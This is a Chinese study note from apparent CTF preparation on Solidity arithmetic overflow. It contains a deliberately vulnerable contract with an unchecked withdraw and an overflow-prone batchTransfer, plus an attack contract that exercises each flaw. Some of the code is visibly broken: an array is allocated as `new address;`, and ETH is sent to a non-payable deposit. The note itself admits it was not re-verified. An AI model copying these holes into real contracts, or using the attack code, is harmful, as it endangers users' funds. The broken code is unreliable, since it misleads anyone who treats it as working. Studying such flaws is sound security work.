这组示例用来观察整数边界和 unchecked 的行为,阅读时必须先看编译器版本以及具体运算所在的位置。
本文由个人备赛旧笔记整理,整理日期为 2026-11-03。命令、输出和测试记录属于当时的实验环境;本文未重新搭建整套环境验证。
阅读前先确认
Solidity 0.8+ 普通算术默认检查溢出;不能因为函数名写了 Vulnerable 就认为一定可利用。应为实际触发路径补充回滚或数值变化断言。
溢出漏洞
漏洞合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.17;
/** * 存在算术溢出/下溢漏洞的合约 * 在Solidity 0.8.0之前,这类漏洞很常见 * 0.8.0之后编译器默认检查,但可通过unchecked绕过 */ contract ArithmeticVulnerabilities { uint8 public counter = 0; uint256 public balance;
// 存款函数 function deposit(uint256 amount) external { balance += amount; }
// 存在下溢漏洞的提现函数 function withdraw(uint256 amount) external { // 可能发生下溢:如果amount > balance balance -= amount; payable(msg.sender).transfer(amount); }
// 存在溢出漏洞的计数器 function increment() external { // uint8最大值为255,加到256会溢出为0 counter++; }
function decrement() external { // uint8最小值为0,减到-1会下溢为255 counter--; }
// 批量转账 - 存在溢出漏洞 function batchTransfer(address[] calldata recipients, uint256 amount) external { uint256 total = recipients.length * amount; require(balance >= total, "Insufficient balance");
balance -= total; for (uint i = 0; i < recipients.length; i++) { payable(recipients[i]).transfer(amount); } }
// 获取合约余额 function getBalance() external view returns (uint256) { return address(this).balance; }
// 接收以太币 receive() external payable { balance += msg.value; } }
|
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.17;
interface IArithmeticVulnerabilities { function withdraw(uint256 amount) external; function increment() external; function decrement() external; function batchTransfer(address[] calldata recipients, uint256 amount) external; function deposit(uint256 amount) external; function getBalance() external view returns (uint256); }
contract ArithmeticAttack { IArithmeticVulnerabilities public target;
constructor(address _target) { target = IArithmeticVulnerabilities(_target); }
// 测试下溢攻击 function testUnderflowAttack() external { // 先存一点钱 target.deposit{value: 0.1 ether}(0.1 ether);
// 尝试提取超过余额的金额,在0.8.0之前会导致下溢 // 在0.8.0+会自动revert,但我们可以用unchecked测试 target.withdraw(1 ether); }
// 测试计数器溢出 function testCounterOverflow() external { // 将计数器增加到最大值 for (uint i = 0; i < 255; i++) { target.increment(); } // 下一次增加将导致溢出 target.increment(); }
// 测试计数器下溢 function testCounterUnderflow() external { // 将计数器减少到0以下 target.decrement(); }
// 测试批量转账溢出 function testBatchTransferOverflow() external { // 创建大量接收者 address[] memory recipients = new address; for (uint i = 0; i < 1000; i++) { recipients[i] = address(this); }
// 使用极大的金额,使length * amount溢出 uint256 hugeAmount = type(uint256).max / 500; // 确保乘法会溢出
target.batchTransfer(recipients, hugeAmount); }
// 使用unchecked手动测试溢出/下溢 function manualUncheckedTest() external pure returns (uint8, uint8) { uint8 max = type(uint8).max; // 255 uint8 min = type(uint8).min; // 0
uint8 overflowResult; uint8 underflowResult;
// 手动触发溢出 unchecked { overflowResult = max + 1; // 应该变成0 underflowResult = min - 1; // 应该变成255 }
return (overflowResult, underflowResult); }
// 接收以太币 receive() external payable {} }
|
复现时的自查
- 记录自己实际使用的版本、配置和缺失依赖。
- 对照本篇关键步骤,保存命令或调用结果,并解释结果代表什么。
- 对失败或与原记录不一致的情况保留错误信息,不把历史输出当成自己的验证结果。
返回系列导读 · 上一篇 · 下一篇